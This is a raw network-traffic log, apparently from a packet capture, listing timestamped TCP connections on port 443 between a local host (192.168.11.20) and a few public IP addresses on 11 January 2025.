Jan 11, 2025 07:54:30.656099081 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.656136036 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.656241894 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.656279087 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.657156944 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.657253981 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.657409906 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.662244081 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.662354946 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.662606001 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.662643909 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.662694931 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.662739992 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.664946079 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.664988041 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.665190935 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.665230989 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.665255070 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.665532112 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.666291952 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.666310072 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.666353941 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.666465998 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.666481018 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.666558027 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.666579962 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.666831970 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.667191029 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.667257071 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.667381048 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.667381048 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.667503119 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.667541981 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.667560101 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.667645931 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.667718887 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.667855978 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.667875051 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.668884039 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.669012070 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.669039965 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.669054031 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.669209003 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.669307947 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.675719976 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.676139116 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.682106972 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.682149887 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.682337999 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.682337999 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.682337999 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.682385921 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.682406902 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.682483912 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.682569981 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.696221113 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.696290016 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.696563005 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.696605921 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.696887016 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.697470903 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.697470903 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.697509050 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.697525024 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.697535038 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.697561026 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.697698116 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.697740078 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.697963953 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.698056936 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.698056936 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.698096991 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.698391914 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.698704004 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.698771954 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.698864937 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.698913097 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.698992014 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.699147940 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.706423998 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.706485033 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.706732035 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.706769943 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.707067013 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.712341070 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.712342024 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.712352037 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.712364912 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.712369919 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.712388992 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.712775946 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.712815046 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.712995052 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.712996006 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.713030100 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.713047028 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.713097095 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.713098049 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.713191986 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.724551916 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.724605083 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.724721909 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.724721909 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.724790096 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.724790096 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.724809885 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.724838018 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.725080013 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.728280067 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.728322029 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.728530884 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.728568077 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.728581905 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.728800058 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.734651089 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.734709978 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.734824896 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.735100031 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.735121012 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.735416889 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.741031885 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.741070032 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.741266966 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.741287947 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.741462946 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.744349957 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.744350910 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.744368076 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.744386911 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.744400978 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.754674911 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.754736900 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.754915953 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.754934072 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.755053997 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.755188942 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.756532907 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.756575108 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.756746054 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.756786108 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.756809950 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.757009983 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.758799076 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.760175943 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.760194063 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.760216951 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.763030052 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.763087988 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.763246059 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.763283014 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.763323069 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.763425112 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.767019033 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.767184019 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.770128012 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.770179033 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.770312071 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.770312071 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.770348072 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.770348072 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.770365000 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.770432949 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.770524979 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.774287939 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.774594069 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.781713009 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.781754017 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.782074928 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.782154083 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.782174110 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.782526016 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.782752037 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.782967091 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.782985926 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.783104897 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.783180952 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.783215046 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.783922911 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.783983946 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.784136057 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.784136057 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.784158945 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.784177065 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.785589933 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.785936117 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.790126085 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.790126085 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.792139053 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.792202950 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.792366028 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.792402983 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.792464018 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.792578936 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.802987099 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.803029060 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.803265095 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.803303003 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.803328037 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.803472996 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.806045055 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.806099892 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.806252003 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.806283951 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.806370974 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.807966948 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.808028936 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.808218956 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.808337927 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.808376074 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.808582067 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.813709974 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.814220905 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.814239979 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.815373898 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.815593958 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.815685987 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.821181059 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.821228981 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.821419954 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.821458101 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.821471930 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.821751118 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.828649044 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.829159021 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.830914974 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.830970049 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.831078053 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.831078053 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.831099033 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.831115961 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.831116915 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.831233978 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.832741022 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.832791090 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.833050966 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.833091974 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.833257914 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.837023973 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.837238073 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.837328911 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.840128899 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.840512037 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.844618082 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.844661951 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.844810009 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.845026970 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.845026970 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.845066071 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.845264912 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.849474907 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.849742889 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.851567030 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.851630926 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.851767063 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.851767063 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.851804972 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.851804972 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.851823092 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.851874113 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.852015018 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.854387999 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.854449987 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.854618073 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.854664087 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.854686975 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.854705095 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.865712881 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.865756989 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.865984917 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.866014957 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.866154909 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.867245913 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.867297888 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.867445946 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.867445946 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.867470026 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.867484093 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.867484093 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.867626905 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.868309975 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.868375063 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.868470907 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.868505001 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.868621111 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.868671894 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.868725061 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.869196892 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.870707035 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.870929956 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.874439001 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.874696970 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.875133038 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.875262976 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.875303984 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.875459909 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.875468969 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.875710011 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.875726938 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.875907898 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.875907898 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.875972033 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.875997066 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.876051903 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.876069069 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.880260944 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.880304098 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.880420923 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.880445957 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.880497932 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.880532026 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.880640030 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.880738974 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.883160114 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.883208990 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.883342981 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.883342981 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.883366108 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.883383036 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.883383036 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.883383989 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.883457899 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.884287119 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.884346008 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.884521961 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.884546041 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.884614944 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.884701967 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.895766020 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.895807028 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.895962000 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.896013975 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.896038055 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.896131992 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.896301985 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.898607016 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.898674965 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.898823977 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.898854017 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.898933887 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.899483919 CET	443	61052	23.45.46.202	192.168.11.20
